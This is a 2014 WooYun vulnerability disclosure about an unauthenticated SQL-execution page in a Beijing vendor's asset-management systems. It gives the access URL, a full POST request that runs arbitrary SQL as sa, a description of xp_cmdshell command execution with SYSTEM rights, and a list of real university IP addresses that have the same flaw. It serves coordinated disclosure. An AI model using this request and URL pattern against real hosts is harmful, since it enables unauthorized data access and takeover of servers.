当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088464

漏洞标题:某系统某处越权访问导致命令执行

相关厂商:北京普诺迪信息系统技术研发有限责任公司

漏洞作者: Yuku

提交时间:2014-12-24 18:38

修复时间:2015-03-24 18:40

公开时间:2015-03-24 18:40

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-29: 厂商已经确认,细节仅向厂商公开
2015-01-01: 细节向第三方安全合作伙伴开放
2015-02-22: 细节向核心白帽子及相关领域专家公开
2015-03-04: 细节向普通白帽子公开
2015-03-14: 细节向实习白帽子公开
2015-03-24: 细节向公众公开

简要描述:

越权访问导致执行系统命令

详细说明:

公司主站:http://www.bjprd.com.cn/
公司信息:北京普诺迪信息系统技术研发有限责任公司
#越权访问导致数据泄露及命令执行
以下为其中几个存在此漏洞的系统:
家具网络管理系统
低值品网络管理系统
图书管理系统
交通管理系统
房屋及土地管理系统
仪器设备管理系统
无形资产管理系统

实例:
http://202.113.128.61/tsweb/

图片1.png


越权访问:
http://202.113.128.61/tsweb/ebsys/fceform/common/djframe.htm?isfile=release&djsn=eb_runsql
可以直接访问后台的sql语句执行功能

图片2.png


图片3.png


某些语句执行后不会在下方回显结果,这里用burp抓包演示:
POST /tsweb/ebsys/eformaspx/WebBill.aspx?dataset_select HTTP/1.1
Accept: */*
Referer: http://202.113.128.61/tsweb/ebsys/fceform/dj/eb_runsql.htm
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 202.113.128.61
Content-Length: 115
DNT: 1
Proxy-Connection: Keep-Alive
Pragma: no-cache
<root><sql>select @@version</sql><pageno>1</pageno><pagesize>50</pagesize><fset></fset><fieldsql></fieldsql></root>
可以看到sql标签内执行的是sql语句

图片4.png


如何查询结果在<td>标签中回显
可执行任意sql语句

图片5.png


默认情况下为sa权限。可以直接调用xp_cmdshell执行系统命令:

图片6.png


图片7.png


可以看到成功执行了系统命令,当前为system权限。
这里列出几个其他实例:(情况均和上面一致)
南京财经大学
http://210.28.80.170/dzpWEB//
http://210.28.80.170/dzpWEB//ebsys/fceform/common/djframe.htm?isfile=release&djsn=eb_runsql
天津理工大学:
http://59.67.148.50/dzpweb/
http://59.67.148.50/dzpweb//ebsys/fceform/common/djframe.htm?isfile=release&djsn=eb_runsql
暨南大学:
http://202.116.0.158/
http://202.116.0.158/car/ebsys/fceform/common/djframe.htm?isfile=release&djsn=eb_runsql
http://202.116.0.158/DzpWeb/ebsys/fceform/common/djframe.htm?isfile=release&djsn=eb_runsql
天津师范大学:
http://59.67.78.170:81/
http://59.67.78.170:81/tsweb/ebsys/fceform/dj/eb_runsql.htm

漏洞证明:

已证明

修复方案:

敏感文件防止越权操作。

版权声明:转载请注明来源 Yuku@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-12-29 14:33

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给赛尔处置,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论